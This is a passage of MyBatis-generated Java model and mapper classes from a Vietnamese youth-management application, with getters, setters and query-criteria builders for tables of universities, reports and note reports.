* * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String universityCode; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_university.UNIVERSITY_CODE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String educationId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_university.UNIVERSITY_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String universityName; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_university.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String createUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_university.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private Date createDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_university.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String updateUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_university.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private Date lastUpdateDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_university.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String deleteFlag; /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_university.UNIVERSITY_ID * * @return the value of qltn_m_university.UNIVERSITY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getUniversityId() { return universityId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_university.UNIVERSITY_ID * * @param universityId the value for qltn_m_university.UNIVERSITY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setUniversityId(String universityId) { this.universityId = universityId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_university.UNIVERSITY_CODE * * @return the value of qltn_m_university.UNIVERSITY_CODE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getUniversityCode() { return universityCode; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_university.UNIVERSITY_CODE * * @param universityCode the value for qltn_m_university.UNIVERSITY_CODE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setEducationId(String educationId) { this.educationId = educationId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_university.UNIVERSITY_CODE * * @return the value of qltn_m_university.UNIVERSITY_CODE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getEducationId() { return educationId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_university.UNIVERSITY_CODE * * @param universityCode the value for qltn_m_university.UNIVERSITY_CODE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setUniversityCode(String universityCode) { this.universityCode = universityCode; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_university.UNIVERSITY_NAME * * @return the value of qltn_m_university.UNIVERSITY_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getUniversityName() { return universityName; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_university.UNIVERSITY_NAME * * @param universityName the value for qltn_m_university.UNIVERSITY_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setUniversityName(String universityName) { this.universityName = universityName; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_university.CREATE_USER_ID * * @return the value of qltn_m_university.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getCreateUserId() { return createUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_university.CREATE_USER_ID * * @param createUserId the value for qltn_m_university.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCreateUserId(String createUserId) { this.createUserId = createUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_university.CREATE_DATE * * @return the value of qltn_m_university.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Date getCreateDate() { return createDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_university.CREATE_DATE * * @param createDate the value for qltn_m_university.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCreateDate(Date createDate) { this.createDate = createDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_university.UPDATE_USER_ID * * @return the value of qltn_m_university.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getUpdateUserId() { return updateUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_university.UPDATE_USER_ID * * @param updateUserId the value for qltn_m_university.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setUpdateUserId(String updateUserId) { this.updateUserId = updateUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_university.LAST_UPDATE_DATE * * @return the value of qltn_m_university.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Date getLastUpdateDate() { return lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_university.LAST_UPDATE_DATE * * @param lastUpdateDate the value for qltn_m_university.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setLastUpdateDate(Date lastUpdateDate) { this.lastUpdateDate = lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_university.DELETE_FLAG * * @return the value of qltn_m_university.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getDeleteFlag() { return deleteFlag; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_university.DELETE_FLAG * * @param deleteFlag the value for qltn_m_university.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setDeleteFlag(String deleteFlag) { this.deleteFlag = deleteFlag; } }``` b0975888058d93f9a1dd39fd11c8607dbdddcd83.svn-base ```package vn.youthmanager.ict.youth.db.mapper; import java.util.List; import java.util.Map; import vn.youthmanager.ict.youth.db.model.Sym0005Result; public interface Sym0005Mapper { List<Sym0005Result> searchData(Map<String, Object> params); String getSearchDataTotalCounts(Map<String, Object> params); String getLastIdReport (Map<String, Object> params); } ``` QltnMNoteReportExample.java ```package vn.youthmanager.ict.common.db.model; import java.util.ArrayList; import java.util.Date; import java.util.List; public class QltnMNoteReportExample { /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ protected String orderByClause; /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ protected boolean distinct; /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ protected List<Criteria> oredCriteria; /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public QltnMNoteReportExample() { oredCriteria = new ArrayList<Criteria>(); } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public void setOrderByClause(String orderByClause) { this.orderByClause = orderByClause; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public String getOrderByClause() { return orderByClause; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public void setDistinct(boolean distinct) { this.distinct = distinct; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public boolean isDistinct() { return distinct; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public List<Criteria> getOredCriteria() { return oredCriteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public void or(Criteria criteria) { oredCriteria.add(criteria); } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public Criteria or() { Criteria criteria = createCriteriaInternal(); oredCriteria.add(criteria); return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public Criteria createCriteria() { Criteria criteria = createCriteriaInternal(); if (oredCriteria.size() == 0) { oredCriteria.add(criteria); } return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ protected Criteria createCriteriaInternal() { Criteria criteria = new Criteria(); return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public void clear() { oredCriteria.clear(); orderByClause = null; distinct = false; } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ protected abstract static class GeneratedCriteria { protected List<Criterion> criteria; protected GeneratedCriteria() { super(); criteria = new ArrayList<Criterion>(); } public boolean isValid() { return criteria.size() > 0; } public List<Criterion> getAllCriteria() { return criteria; } public List<Criterion> getCriteria() { return criteria; } protected void addCriterion(String condition) { if (condition == null) { throw new RuntimeException("Value for condition cannot be null"); } criteria.add(new Criterion(condition)); } protected void addCriterion(String condition, Object value, String property) { if (value == null) { throw new RuntimeException("Value for " + property + " cannot be null"); } criteria.add(new Criterion(condition, value)); } protected void addCriterion(String condition, Object value1, Object value2, String property) { if (value1 == null || value2 == null) { throw new RuntimeException("Between values for " + property + " cannot be null"); } criteria.add(new Criterion(condition, value1, value2)); } public Criteria andNoteReportIdIsNull() { addCriterion("NOTE_REPORT_ID is null"); return (Criteria) this; } public Criteria andNoteReportIdIsNotNull() { addCriterion("NOTE_REPORT_ID is not null"); return (Criteria) this; } public Criteria andNoteReportIdEqualTo(String value) { addCriterion("NOTE_REPORT_ID =", value, "noteReportId"); return (Criteria) this; } public Criteria andNoteReportIdNotEqualTo(String value) { addCriterion("NOTE_REPORT_ID <>", value, "noteReportId"); return (Criteria) this; } public Criteria andNoteReportIdGreaterThan(String value) { addCriterion("NOTE_REPORT_ID >", value, "noteReportId"); return (Criteria) this; } public Criteria andNoteReportIdGreaterThanOrEqualTo(String value) { addCriterion("NOTE_REPORT_ID >=", value, "noteReportId"); return (Criteria) this; } public Criteria andNoteReportIdLessThan(String value) { addCriterion("NOTE_REPORT_ID <", value, "noteReportId"); return (Criteria) this; } public Criteria andNoteReportIdLessThanOrEqualTo(String value) { addCriterion("NOTE_REPORT_ID <=", value, "noteReportId"); return (Criteria) this; } public Criteria andNoteReportIdLike(String value) { addCriterion("NOTE_REPORT_ID like", value, "noteReportId"); return (Criteria) this; } public Criteria andNoteReportIdNotLike(String value) { addCriterion("NOTE_REPORT_ID not like", value, "noteReportId"); return (Criteria) this; } public Criteria andNoteReportIdIn(List<String> values) { addCriterion("NOTE_REPORT_ID in", values, "noteReportId"); return (Criteria) this; } public Criteria andNoteReportIdNotIn(List<String> values) { addCriterion("NOTE_REPORT_ID not in", values, "noteReportId"); return (Criteria) this; } public Criteria andNoteReportIdBetween(String value1, String value2) { addCriterion("NOTE_REPORT_ID between", value1, value2, "noteReportId"); return (Criteria) this; } public Criteria andNoteReportIdNotBetween(String value1, String value2) { addCriterion("NOTE_REPORT_ID not between", value1, value2, "noteReportId"); return (Criteria) this; } public Criteria andReportIdIsNull() { addCriterion("REPORT_ID is null"); return (Criteria) this; } public Criteria andReportIdIsNotNull() { addCriterion("REPORT_ID is not null"); return (Criteria) this; } public Criteria andReportIdEqualTo(String value) { addCriterion("REPORT_ID =", value, "reportId"); return (Criteria) this; } public Criteria andReportIdNotEqualTo(String value) { addCriterion("REPORT_ID <>", value, "reportId"); return (Criteria) this; } public Criteria andReportIdGreaterThan(String value) { addCriterion("REPORT_ID >", value, "reportId"); return (Criteria) this; } public Criteria andReportIdGreaterThanOrEqualTo(String value) { addCriterion("REPORT_ID >=", value, "reportId"); return (Criteria) this; } public Criteria andReportIdLessThan(String value) { addCriterion("REPORT_ID <", value, "reportId"); return (Criteria) this; } public Criteria andReportIdLessThanOrEqualTo(String value) { addCriterion("REPORT_ID <=", value, "reportId"); return (Criteria) this; } public Criteria andReportIdLike(String value) { addCriterion("REPORT_ID like", value, "reportId"); return (Criteria) this; } public Criteria andReportIdNotLike(String value) { addCriterion("REPORT_ID not like", value, "reportId"); return (Criteria) this; } public Criteria andReportIdIn(List<String> values) { addCriterion("REPORT_ID in", values, "reportId"); return (Criteria) this; } public Criteria andReportIdNotIn(List<String> values) { addCriterion("REPORT_ID not in", values, "reportId"); return (Criteria) this; } public Criteria andReportIdBetween(String value1, String value2) { addCriterion("REPORT_ID between", value1, value2, "reportId"); return (Criteria) this; } public Criteria andReportIdNotBetween(String value1, String value2) { addCriterion("REPORT_ID not between", value1, value2, "reportId"); return (Criteria) this; } public Criteria andDetailReportIdIsNull() { addCriterion("DETAIL_REPORT_ID is null"); return (Criteria) this; } public Criteria andDetailReportIdIsNotNull() { addCriterion("DETAIL_REPORT_ID is not null"); return (Criteria) this; } public Criteria andDetailReportIdEqualTo(String value) { addCriterion("DETAIL_REPORT_ID =", value, "detailReportId"); return (Criteria) this; } public Criteria andDetailReportIdNotEqualTo(String value) { addCriterion("DETAIL_REPORT_ID <>", value, "detailReportId"); return (Criteria) this; } public Criteria andDetailReportIdGreaterThan(String value) { addCriterion("DETAIL_REPORT_ID >", value, "detailReportId"); return (Criteria) this; } public Criteria andDetailReportIdGreaterThanOrEqualTo(String value) { addCriterion("DETAIL_REPORT_ID >=", value, "detailReportId"); return (Criteria) this; } public Criteria andDetailReportIdLessThan(String value) { addCriterion("DETAIL_REPORT_ID <", value, "detailReportId"); return (Criteria) this; } public Criteria andDetailReportIdLessThanOrEqualTo(String value) { addCriterion("DETAIL_REPORT_ID <=", value, "detailReportId"); return (Criteria) this; } public Criteria andDetailReportIdLike(String value) { addCriterion("DETAIL_REPORT_ID like", value, "detailReportId"); return (Criteria) this; } public Criteria andDetailReportIdNotLike(String value) { addCriterion("DETAIL_REPORT_ID not like", value, "detailReportId"); return (Criteria) this; } public Criteria andDetailReportIdIn(List<String> values) { addCriterion("DETAIL_REPORT_ID in", values, "detailReportId"); return (Criteria) this; } public Criteria andDetailReportIdNotIn(List<String> values) { addCriterion("DETAIL_REPORT_ID not in", values, "detailReportId"); return (Criteria) this; } public Criteria andDetailReportIdBetween(String value1, String value2) { addCriterion("DETAIL_REPORT_ID between", value1, value2, "detailReportId"); return (Criteria) this; } public Criteria andDetailReportIdNotBetween(String value1, String value2) { addCriterion("DETAIL_REPORT_ID not between", value1, value2, "detailReportId"); return (Criteria) this; } public Criteria andPersonIdIsNull() { addCriterion("PERSON_ID is null"); return (Criteria) this; } public Criteria andPersonIdIsNotNull() { addCriterion("PERSON_ID is not null"); return (Criteria) this; } public Criteria andPersonIdEqualTo(String value) { addCriterion("PERSON_ID =", value, "personId"); return (Criteria) this; } public Criteria andPersonIdNotEqualTo(String value) { addCriterion("PERSON_ID <>", value, "personId"); return (Criteria) this; } public Criteria andPersonIdGreaterThan(String value) { addCriterion("PERSON_ID >", value, "personId"); return (Criteria) this; } public Criteria andPersonIdGreaterThanOrEqualTo(String value) { addCriterion("PERSON_ID >=", value, "personId"); return (Criteria) this; } public Criteria andPersonIdLessThan(String value) { addCriterion("PERSON_ID <", value, "personId"); return (Criteria) this; } public Criteria andPersonIdLessThanOrEqualTo(String value) { addCriterion("PERSON_ID <=", value, "personId"); return (Criteria) this; } public Criteria andPersonIdLike(String value) { addCriterion("PERSON_ID like", value, "personId"); return (Criteria) this; } public Criteria andPersonIdNotLike(String value) { addCriterion("PERSON_ID not like", value, "personId"); return (Criteria) this; } public Criteria andPersonIdIn(List<String> values) { addCriterion("PERSON_ID in", values, "personId"); return (Criteria) this; } public Criteria andPersonIdNotIn(List<String> values) { addCriterion("PERSON_ID not in", values, "personId"); return (Criteria) this; } public Criteria andPersonIdBetween(String value1, String value2) { addCriterion("PERSON_ID between", value1, value2, "personId"); return (Criteria) this; } public Criteria andPersonIdNotBetween(String value1, String value2) { addCriterion("PERSON_ID not between", value1, value2, "personId"); return (Criteria) this; } public Criteria andCriteraIdIsNull() { addCriterion("CRITERA_ID is null"); return (Criteria) this; } public Criteria andCriteraIdIsNotNull() { addCriterion("CRITERA_ID is not null"); return (Criteria) this; } public Criteria andCriteraIdEqualTo(String value) { addCriterion("CRITERA_ID =", value, "criteraId"); return (Criteria) this; } public Criteria andCriteraIdNotEqualTo(String value) { addCriterion("CRITERA_ID <>", value, "criteraId"); return (Criteria) this; } public Criteria andCriteraIdGreaterThan(String value) { addCriterion("CRITERA_ID >", value, "criteraId"); return (Criteria) this; } public Criteria andCriteraIdGreaterThanOrEqualTo(String value) { addCriterion("CRITERA_ID >=", value, "criteraId"); return (Criteria) this; } public Criteria andCriteraIdLessThan(String value) { addCriterion("CRITERA_ID <", value, "criteraId"); return (Criteria) this; } public Criteria andCriteraIdLessThanOrEqualTo(String value) { addCriterion("CRITERA_ID <=", value, "criteraId"); return (Criteria) this; } public Criteria andCriteraIdLike(String value) { addCriterion("CRITERA_ID like", value, "criteraId"); return (Criteria) this; } public Criteria andCriteraIdNotLike(String value) { addCriterion("CRITERA_ID not like", value, "criteraId"); return (Criteria) this; } public Criteria andCriteraIdIn(List<String> values) { addCriterion("CRITERA_ID in", values, "criteraId"); return (Criteria) this; } public Criteria andCriteraIdNotIn(List<String> values) { addCriterion("CRITERA_ID not in", values, "criteraId"); return (Criteria) this; } public Criteria andCriteraIdBetween(String value1, String value2) { addCriterion("CRITERA_ID between", value1, value2, "criteraId"); return (Criteria) this; } public Criteria andCriteraIdNotBetween(String value1, String value2) { addCriterion("CRITERA_ID not between", value1, value2, "criteraId"); return (Criteria) this; } public Criteria andCreateUserIdIsNull() { addCriterion("CREATE_USER_ID is null"); return (Criteria) this; } public Criteria andCreateUserIdIsNotNull() { addCriterion("CREATE_USER_ID is not null"); return (Criteria) this; } public Criteria andCreateUserIdEqualTo(String value) { addCriterion("CREATE_USER_ID =", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotEqualTo(String value) { addCriterion("CREATE_USER_ID <>", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdGreaterThan(String value) { addCriterion("CREATE_USER_ID >", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdGreaterThanOrEqualTo(String value) { addCriterion("CREATE_USER_ID >=", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLessThan(String value) { addCriterion("CREATE_USER_ID <", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLessThanOrEqualTo(String value) { addCriterion("CREATE_USER_ID <=", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLike(String value) { addCriterion("CREATE_USER_ID like", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotLike(String value) { addCriterion("CREATE_USER_ID not like", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdIn(List<String> values) { addCriterion("CREATE_USER_ID in", values, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotIn(List<String> values) { addCriterion("CREATE_USER_ID not in", values, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdBetween(String value1, String value2) { addCriterion("CREATE_USER_ID between", value1, value2, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotBetween(String value1, String value2) { addCriterion("CREATE_USER_ID not between", value1, value2, "createUserId"); return (Criteria) this; } public Criteria andCreateDateIsNull() { addCriterion("CREATE_DATE is null"); return (Criteria) this; } public Criteria andCreateDateIsNotNull() { addCriterion("CREATE_DATE is not null"); return (Criteria) this; } public Criteria andCreateDateEqualTo(Date value) { addCriterion("CREATE_DATE =", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotEqualTo(Date value) { addCriterion("CREATE_DATE <>", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateGreaterThan(Date value) { addCriterion("CREATE_DATE >", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateGreaterThanOrEqualTo(Date value) { addCriterion("CREATE_DATE >=", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateLessThan(Date value) { addCriterion("CREATE_DATE <", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateLessThanOrEqualTo(Date value) { addCriterion("CREATE_DATE <=", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateIn(List<Date> values) { addCriterion("CREATE_DATE in", values, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotIn(List<Date> values) { addCriterion("CREATE_DATE not in", values, "createDate"); return (Criteria) this; } public Criteria andCreateDateBetween(Date value1, Date value2) { addCriterion("CREATE_DATE between", value1, value2, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotBetween(Date value1, Date value2) { addCriterion("CREATE_DATE not between", value1, value2, "createDate"); return (Criteria) this; } public Criteria andUpdateUserIdIsNull() { addCriterion("UPDATE_USER_ID is null"); return (Criteria) this; } public Criteria andUpdateUserIdIsNotNull() { addCriterion("UPDATE_USER_ID is not null"); return (Criteria) this; } public Criteria andUpdateUserIdEqualTo(String value) { addCriterion("UPDATE_USER_ID =", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotEqualTo(String value) { addCriterion("UPDATE_USER_ID <>", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdGreaterThan(String value) { addCriterion("UPDATE_USER_ID >", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdGreaterThanOrEqualTo(String value) { addCriterion("UPDATE_USER_ID >=", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLessThan(String value) { addCriterion("UPDATE_USER_ID <", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLessThanOrEqualTo(String value) { addCriterion("UPDATE_USER_ID <=", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLike(String value) { addCriterion("UPDATE_USER_ID like", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotLike(String value) { addCriterion("UPDATE_USER_ID not like", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdIn(List<String> values) { addCriterion("UPDATE_USER_ID in", values, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotIn(List<String> values) { addCriterion("UPDATE_USER_ID not in", values, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdBetween(String value1, String value2) { addCriterion("UPDATE_USER_ID between", value1, value2, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotBetween(String value1, String value2) { addCriterion("UPDATE_USER_ID not between", value1, value2, "updateUserId"); return (Criteria) this; } public Criteria andLastUpdateDateIsNull() { addCriterion("LAST_UPDATE_DATE is null"); return (Criteria) this; } public Criteria andLastUpdateDateIsNotNull() { addCriterion("LAST_UPDATE_DATE is not null"); return (Criteria) this; } public Criteria andLastUpdateDateEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE =", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE <>", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateGreaterThan(Date value) { addCriterion("LAST_UPDATE_DATE >", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateGreaterThanOrEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE >=", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateLessThan(Date value) { addCriterion("LAST_UPDATE_DATE <", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateLessThanOrEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE <=", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateIn(List<Date> values) { addCriterion("LAST_UPDATE_DATE in", values, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotIn(List<Date> values) { addCriterion("LAST_UPDATE_DATE not in", values, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateBetween(Date value1, Date value2) { addCriterion("LAST_UPDATE_DATE between", value1, value2, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotBetween(Date value1, Date value2) { addCriterion("LAST_UPDATE_DATE not between", value1, value2, "lastUpdateDate"); return (Criteria) this; } public Criteria andDeleteFlagIsNull() { addCriterion("DELETE_FLAG is null"); return (Criteria) this; } public Criteria andDeleteFlagIsNotNull() { addCriterion("DELETE_FLAG is not null"); return (Criteria) this; } public Criteria andDeleteFlagEqualTo(String value) { addCriterion("DELETE_FLAG =", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotEqualTo(String value) { addCriterion("DELETE_FLAG <>", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagGreaterThan(String value) { addCriterion("DELETE_FLAG >", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagGreaterThanOrEqualTo(String value) { addCriterion("DELETE_FLAG >=", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagLessThan(String value) { addCriterion("DELETE_FLAG <", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagLessThanOrEqualTo(String value) { addCriterion("DELETE_FLAG <=", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagLike(String value) { addCriterion("DELETE_FLAG like", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotLike(String value) { addCriterion("DELETE_FLAG not like", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagIn(List<String> values) { addCriterion("DELETE_FLAG in", values, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotIn(List<String> values) { addCriterion("DELETE_FLAG not in", values, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagBetween(String value1, String value2) { addCriterion("DELETE_FLAG between", value1, value2, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotBetween(String value1, String value2) { addCriterion("DELETE_FLAG not between", value1, value2, "deleteFlag"); return (Criteria) this; } } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_note_report * * @mbggenerated do_not_delete_during_merge Wed Jun 28 16:03:39 ICT 2017 */ public static class Criteria extends GeneratedCriteria { protected Criteria() { super(); } } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_note_report * * @mbggenerated Wed Jun 28 16:03:39 ICT 2017 */ public static class Criterion { private String condition; private Object value; private Object secondValue; private boolean noValue; private boolean singleValue; private boolean betweenValue; private boolean listValue; private String typeHandler; public String getCondition() { return condition; } public Object getValue() { return value; } public Object getSecondValue() { return secondValue; } public boolean isNoValue() { return noValue; } public boolean isSingleValue() { return singleValue; } public boolean isBetweenValue() { return betweenValue; } public boolean isListValue() { return listValue; } public String getTypeHandler() { return typeHandler; } protected Criterion(String condition) { super(); this.condition = condition; this.typeHandler = null; this.noValue = true; } protected Criterion(String condition, Object value, String typeHandler) { super(); this.condition = condition; this.value = value; this.typeHandler = typeHandler; if (value instanceof List<?>) { this.listValue = true; } else { this.singleValue = true; } } protected Criterion(String condition, Object value) { this(condition, value, null); } protected Criterion(String condition, Object value, Object secondValue, String typeHandler) { super(); this.condition = condition; this.value = value; this.secondValue = secondValue; this.typeHandler = typeHandler; this.betweenValue = true; } protected Criterion(String condition, Object value, Object secondValue) { this(condition, value, secondValue, null); } } }``` 01873b6700fd0b29618d729eda74ab283a18c4c9.svn-base ```package vn.youthmanager.ict.common.db.model; import java.util.Date; public class QltnMReport { /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_report.REPORT_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String reportId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_report.REPORT_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String reportName; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_report.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String createUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_report.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private Date createDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_report.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String updateUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_report.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private Date lastUpdateDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_report.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String deleteFlag; /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_report.REPORT_ID * * @return the value of qltn_m_report.REPORT_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getReportId() { return reportId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_report.REPORT_ID * * @param reportId the value for qltn_m_report.REPORT_ID * * @mbggenerated 